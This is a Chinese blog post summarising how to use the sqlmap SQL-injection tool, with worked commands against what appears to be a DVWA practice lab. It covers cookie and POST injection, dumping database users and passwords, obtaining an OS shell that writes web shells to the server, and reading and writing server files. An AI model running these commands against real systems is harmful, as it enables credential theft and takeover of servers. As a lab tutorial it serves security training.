D0g

我愿乘风破浪,踏遍黄沙海洋

©D0g
Powered by LOFTER
 

Sqlmap使用总结

sqlmap是一款开源、功能强大的自动化SQL注入工具,支持Access,MySQL,Oracle,SQL Server,DB2等多种数据库。支持get,post ,cookie注入,支持基于布尔的盲注,基于时间的盲注,错误回显注入,联合查询注入,堆查询注入等。

一、
利用sqlmap进行cookie注入

cookie注入命令:

sqlmap.py -u 注入点 --cookie=”获取的cookie”

 例:sqlmap.py -u “http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit “ --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low"

 列出当前数据库命令:

sqlmap.py  -u 注入点 --cookie=”获取的cookie” --current-db



指定数据库猜表命令:

sqlmap.py -u 注入点 --cookie=”获取的cookie” -D 数据库 --tables

猜字段命令:

sqlmap.py -u 注入点 --cookie=”获取的cookie” -D 数据库 -T 表名 --columns

 猜解字段内容:

sqlmap.py -u 注入点 --cookie=”获取的cookie” -D 数据库 -T 表名 -C 列名 --dump

 
二、利用sqlmap进行POST注入

 将抓到的包保存为1.txt,并放到c盘跟目录下。

 列数据库,输入命令:sqlmap.py -r c:\1.txt -p username --dbs

 注:-r表示加载一个文件,-p指定参数

 猜数据,输入命令:

sqlmap.py -r c:\1.txt -p username -D mysql -T user -C “User,Password” --dump

 
三、利用sqlmap交互式写shell

 判断用户是否为dba,输入命令:

sqlmap.py  -u 注入点  --is-dba

 使用sqlmap进行交互式写shell:

sqlmap.py  -u 注入点  --os-shell

 然后选择脚本类型

 


 选择2,输入第二步得到的路径

 


成功写入2个shell,一个用来执行命令的,另一个是用来上传的,打开链接:http://10.1.1.136/vulnerabilities/exec/tmpujhum.php

    

 接下来就是上传大马了。或者直接执行linux命令

 


 四、利用sqlmap辅助手工注入

使用内置函数获取用户名,版本,数据库名等信息

sqlmap.py  -u 注入点  --sql-query "select user(),version(),database()" 

 得到数据库名为dvwa,接下来猜表

sqlmap.py  -u 注入点 --sql-query "(select count(*) from dvwa.users)>0"

  


 返回1,说明存在users表,然后开始猜列

sqlmap.py  -u 注入点 --sql-query "(select count(username) from dvwa.users)>=0"

 


 没有返回,说明不存在username列,将username改为user,返回1。

 


sqlmap.py  -u 注入点 --sql-query "(select count(password) from dvwa.users)>=0"

 


得到了列名,现在来猜内容

sqlmap.py  -u 注入点 --sql-query "select user,password from dvwa.users"

  


 五、利用sqlmap进行文件读写

 读取服务器端文件:

sqlmap.py  -u 注入点 --file-read=/opt/lampp/htdocs/php.ini

 成功读取了php.ini文件,并返回了路径。

 


 打开如下图所示:

 


在服务器端写入文件:

sqlmap.py  -u 注入点 --file-write C:\1.txt --file-dest /opt/lampp/htdocs/vulnerabilities/exec/1.txt

说明:将本地C:\1.txt 写入到服务器端/opt/lampp/htdocs/vulnerabilities/exec/1.txt